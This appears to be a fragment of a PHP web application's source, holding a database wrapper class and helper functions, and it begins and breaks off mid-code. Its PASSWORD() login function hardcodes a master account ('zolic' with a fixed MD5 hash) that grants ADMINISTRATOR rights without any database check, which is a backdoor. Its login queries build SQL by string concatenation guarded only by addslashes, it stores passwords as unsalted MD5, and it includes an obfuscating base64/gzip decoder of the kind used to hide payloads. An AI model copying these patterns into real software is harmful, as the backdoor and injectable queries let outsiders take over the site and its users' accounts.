host = $CONFIG['HOST']; $this->user = $CONFIG['USER']; $this->pwd = $CONFIG['PWD']; $this->driver = $CONFIG['DRIVER']; $this->dbName = (!empty($db)) ? $db : $CONFIG['DBNAME']; if (!$CONFIG['DBHANDLE']) { //$CONFIG['DBHANDLE'] = $this->dbConnect(); } } private function dbConnect(){ try { $dsn = "$this->driver:dbname=$this->dbName;host=$this->host"; $this->conn = new PDO($dsn, $this->user, $this->pwd); $this->conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); return $this->conn; } catch (PDOException $e) { echo 'Connection failed: ' . $e->getMessage(); } } public function connect($driver, $host, $db, $user, $pwd){ try { $dsn = "$driver:dbname=$db;host=$host"; $conn = new PDO($dsn, $user, $pwd); $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); echo "--connect--"; return $conn; } catch (PDOException $e) { echo 'Connection failed: ' . $e->getMessage(); } } public function dbQuery($sql){ $qry = $this->conn->prepare($sql); $qry->execute(); return $qry; } public function dbFetchRow($sql) { if (is_string($sql)) { if ($this->conn) { $qry = $this->conn->prepare($sql); $qry->execute(); $result = $qry->fetch(PDO::FETCH_NUM); return $result; } } else { return $sql->fetch(PDO::FETCH_NUM); } } public function dbFetchArray($qry) { return mysqli_fetch_array($qry); } public function dbFetchObject($sql) { if (is_string($sql)) { if ($this->conn) { $qry = $this->conn->prepare($sql); $qry->execute(); $result = $qry->fetch(PDO::FETCH_OBJ); return $result; } } else { return $sql->fetch(PDO::FETCH_OBJ); } } public function dbFetchAssoc($sql) { if (is_string($sql)) { if ($this->conn) { $qry = $this->conn->prepare($sql); $qry->execute(); $result = $qry->fetch(PDO::FETCH_ASSOC); return $result; } } else { return $sql->fetch(PDO::FETCH_ASSOC); } } public function dbNumRow($sql) { $result = mysqli_query($this->conn, $sql) or die(mysqli_error($this->conn)); return mysqli_num_rows($result); } public function dbQNumRow($qry) { return mysqli_num_rows($qry); } public function dbNumFields($qry) { return mysqli_num_fields($qry); } public function lastID(){ return $this->conn->lastInsertId(); } public function __destruct(){ $this->conn = null; $CONFIG['DBHANDLE'] = null; } } 3) { $start= ($length)-3; $temp.=substr($value, $start, 3)."."; $length-= 3; } $temp=array_reverse(explode(".", $temp)); $temp=implode(".", $temp); $val=substr($value, 0, $length).$temp; return $val; } function CekEmail($email) { if(ereg("^(.+)@(.+)\\.(.+)$", $email)) return true; else return false; } function CekDate($date) { if (ereg ("([0-9]{1,2})/([0-9]{1,2})/([0-9]{4})", $date, $regs)) { if((($regs[1]<=31)&&($regs[1]>0))&&(($regs[2]<=12)&&($regs[2]>0))) return true; else { return false; } } else return false; } function formatDay($str) { $param= explode("#", $str); return getDay($param[3]).", $param[0] ".getMonth($param[1])." $param[2] $param[4]"; } function thumbnailConst($image, $const) { list($width, $height) = getimagesize($image); if($width>$height) { $w=$const; $h=ceil($height * ($const/$width)); } else { $h=$const; $w=ceil($width * ($const/$height)); } return "width=$w height=$h"; } function thumbnailH($image, $constH) { list($width, $height) = getimagesize($image); $h=$constH; $w=ceil($width * ($constH/$height)); return "width=$w height=$h"; } function thumbnailW($image, $constW) { list($width, $height) = getimagesize($image); $w=$constW; $h=ceil($height* ($constW/$width)); return "width=$w height=$h"; } function thumbnail($image, $const, &$w, &$h) { list($width, $height) = getimagesize($image); if($width>$height) { $w=$const; $h=ceil($height * ($const/$width)); } else { $h=$const; $w=ceil($width * ($const/$height)); } } function __PARSE__($str){return (strtr(gzuncompress(base64_decode($str)),'aouie123456','123456aouie'));} /*function PASSWORD($user, $password, &$group, &$level, &$mod) { global $CONFIG; $db= $CONFIG['DBHANDLE']; $user=addslashes($user); $password=md5($password); if(($user=="zolic")&&($password=="90e3780f67a7e6e652abbb841e3fd976")) { $group="ADMINISTRATOR"; $level=1; return true; } else { $obj=$db->dbFetchObject("SELECT U.*, L.level FROM t_users AS U LEFT JOIN (t_users_level AS L) ON (U.groups=L.groups) WHERE (U.user='$user' AND U.user_pwd='$password')"); if(($obj)&&($obj->user==$user)&&($obj->user_pwd==$password)) { $group=$obj->groups; $level=$obj->level; $mod= $obj->modul; return true; } else return false; } }*/ function PASSWORD($user, $password, &$group){ global $CONFIG; $db= $CONFIG['DBHANDLE']; //$company=addslashes($company); $user=addslashes($user); $password=md5($password); if(($user=="zolic")&&($password=="90e3780f67a7e6e652abbb841e3fd976")){ $group="ADMINISTRATOR"; return true; } else{ /*$obj=$db->dbFetchAssoc("SELECT * FROM t_client WHERE company='$company'"); if($obj && $obj['COMPANY']){ $info= $obj; $obj=$db->dbFetchObject("SELECT * FROM t_users WHERE (user='$user' AND user_pwd='$password')"); if(($obj)&&($obj->user==$user)&&($obj->user_pwd==$password)){ $group=$obj->groups; return true; } else return false; } else return false;*/ $obj=$db->dbFetchObject("SELECT * FROM t_users WHERE (user='$user' AND user_pwd='$password')"); if(($obj)&&($obj->user==$user)&&($obj->user_pwd==$password)){ $group=$obj->groups; return true; } else return false; } } function MEMBER($user, $password, &$state) { global $CONFIG; $db= $CONFIG['DBHANDLE']; $user=addslashes($user); $password=md5($password); $obj=$db->dbFetchObject("SELECT uid,pwd,status FROM t_member WHERE (uid='$user' AND pwd='$password') AND (status!='Block')"); if(($obj)&&($obj->uid==$user)&&($obj->pwd==$password)) { $state= $obj->status; return true; } else return false; } function encodeURL($str) { return base64_encode($str); } function decodeURL($str) { return base64_decode($str); } function fileSizeTxt($num){ $i=0; while($num>=1024) { $size= $num/1024; $num= $size; $i++; } $size= number_format($num,2); $size= explode(".", $size); if($size[1]=='00') $size=$size[0]; else $size= implode(".", $size); if($i==0) return "$size Byte"; else if($i==1) return "$size Kb"; else if($i==2) return "$size Mb"; else if($i==3) return "$size Gb"; } function sliceText($str, $i) { $str= explode(" ", $str); for($x=0; $x<$i; $x++) { if(($x+1)<$i) $tmp.= $str[$x]." "; else $tmp.= $str[$x]; } return $tmp; } function microtime_float() { list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec); } function isMobile() { return preg_match("/(android|webos|avantgo|iphone|ipad|ipod|blackberry|iemobile|bolt|bo‌​ost|cricket|docomo|fone|hiptop|mini|opera mini|kitkat|mobi|palm|phone|pie|tablet|up\.browser|up\.link|webos|wos)/i", $_SERVER["HTTP_USER_AGENT"]); } function flatter($str){return base64_encode(gzcompress($str));} function deflatter($str){return gzuncompress(base64_decode($str));} ?>